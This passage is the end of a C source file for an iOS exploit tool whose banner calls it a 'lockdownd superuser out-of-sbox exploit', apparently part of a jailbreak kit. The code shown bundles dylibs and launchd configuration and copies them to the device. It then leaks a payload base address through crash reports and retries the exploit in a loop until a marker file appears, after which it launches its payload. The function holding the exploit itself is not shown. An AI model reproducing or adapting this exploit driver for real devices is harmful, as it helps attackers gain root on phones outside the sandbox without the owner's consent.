    _eprintf("Exploting failed.\n");
  
  return 0;
}

#pragma mark -
#pragma mark Entry points
#pragma mark -

void setupRes()
{
  gJBresources.res_list = gJbRes;
  gJBresources.res_name = gJbResName;
  gJBresources.res_len  = gJbRes_len;
  
  gJBresources.res_len[0] = res_com_apple_bootpd_plist_len;
  gJBresources.res_len[1] = res_dml_len;
  gJBresources.res_len[2] = res_kpb_dylib_len;
  gJBresources.res_len[3] = res_kpf_dylib_len;
  gJBresources.res_len[4] = res_launchd_conf_len;
  gJBresources.res_len[5] = res_Services_plist_len;
  gJBresources.res_len[6] = 0;
}

#ifdef NODYLIB

// Use Makefile to build exec tool
int main(int argc, char **argv)
{
  int i;
  
  _eprintf("\n   *0* kLock: lockdownd superuser out-of-sbox exploit *0*\n\n"
           "       By Ki0doPluz\n\n");
  if (argc == 3)
    sscanf(argv[2], "%x", &payload_base);
  
  if (argc > 1 && (strcmp(argv[1], "-i") == 0))
    start_ios();
  
  if (argc > 1 && (strcmp(argv[1], "-o") == 0))
    stop_ios();
  
  if (argc > 1 && (strcmp(argv[1], "-b") == 0))
    start_bootpd();
  
  if (argc > 1 && (strcmp(argv[1], "-t") == 0))
    stop_bootpd();
  
  if (argc > 1 && (strcmp(argv[1], "-c") == 0))
    start_crashmover();
  
  if (argc > 1 && (strcmp(argv[1], "-e") == 0))
  {
    exploiting(TRY_TOEXPL);
    return 0;
  }
  
  _eprintf("copying tools...\n");
  
  setupRes();
  
  createRemoteFoldersAndTools(&gJBresources, NULL);
  
  if (argc > 1 && strcmp(argv[1], "-l") == 0)
  {
    for(i=0;i<256;i++)
    {
      gRegValHit[i]=0;
      gRegVal[i]=-1;
    }
    
    _eprintf("cleanup remote crashreport folder...\n");
    
    cleanUpCrashReportFolder();
    
    _eprintf("leaking out payload base address...\n\n");
    
    for (i=0; i<3; i++)
    {
      _eprintf("try to leak attempt no. %d\n", i);
      exploiting(TRY_TOLEAK);
      sleep(8);
    }
    
    payload_base = getLeakedBaseAddress();
    
    _eprintf("\nok... try to exploiting with [0x%.8x]\n", payload_base);
    
    int expl_run = 0;
    int iter = 0;
    int curr_base = 0;
    
    while(expl_run == 0)
    {
      if (iter++ > 3 && curr_base < 256 && gRegVal[curr_base] != 0 )
      {
        payload_base = gRegVal[curr_base++];
        iter = 0;
      }
      
      exploiting(TRY_TOEXPL);
      sleep(5);
      expl_run = kjb_check_file("/kdi/c1", 2);
      
      if (iter>5)
      {
        _eprintf("exploiting failed.\n");
        return 0;
      }
    }
    
    _eprintf("exploiting done.\n");
    
    start_ios();
  }
  
  return 0;
}

#else

int __attribute__ ((visibility ("default"))) installios(char *iosfolder)
{
  int i;
  
  setupRes();
  
  createRemoteFoldersAndTools(&gJBresources, iosfolder);
  
  for(i=0;i<256;i++)
  {
    gRegValHit[i]=0;
    gRegVal[i]=-1;
  }
  
  cleanUpCrashReportFolder();
  
  for (i=0; i<3; i++)
  {
    exploiting(TRY_TOLEAK);
    sleep(8);
  }
  
  payload_base = getLeakedBaseAddress();
  
  int iter = 0;
  int expl_run = 0;
  int curr_base = 0;
  
  while(expl_run == 0)
  {
    if (iter++ > 3 && curr_base < 256 && gRegVal[curr_base] != 0 )
    {
      payload_base = gRegVal[curr_base++];
      iter = 0;
    }
    
    exploiting(TRY_TOEXPL);
    
    sleep(5);
    
    expl_run = kjb_check_file("/kdi/c1", 2);
    
    if (iter>5)
    {
      return 0;
    }
  }
  
  start_ios();
  
  return 1;
}

int __attribute__ ((visibility ("default"))) installios1(char *iosfolder)
{
  int i, ret = 0;
  
  setupRes();
  
  ret = createRemoteFoldersAndTools(&gJBresources, iosfolder);
  
  for(i=0;i<256;i++)
  {
    gRegValHit[i]=0;
    gRegVal[i]=-1;
  }
  
  cleanUpCrashReportFolder();
  
  return ret;
}

int __attribute__ ((visibility ("default"))) installios2(char *iosfolder)
{
  int i = 0;
  
  for (i=0; i<3; i++)
  {
    exploiting(TRY_TOLEAK);
    sleep(8);
  }
  
  payload_base = getLeakedBaseAddress();
  
  return 1;
}

int __attribute__ ((visibility ("default"))) installios3(char *iosfolder)
{
  int iter = 0;
  int expl_run = 0;
  int curr_base = 0;
  
  while(expl_run == 0)
  {
    if (iter++ > 3 && curr_base < 256 && gRegVal[curr_base] != 0 )
    {
      payload_base = gRegVal[curr_base++];
      iter = 0;
    }
    
    exploiting(TRY_TOEXPL);
    
    sleep(5);
    
    expl_run = kjb_check_file("/kdi/c1", 2);
    
    if (iter>5)
    {
      return 0;
    }
  }
  
  start_ios();
  
  return 1;
}

#endif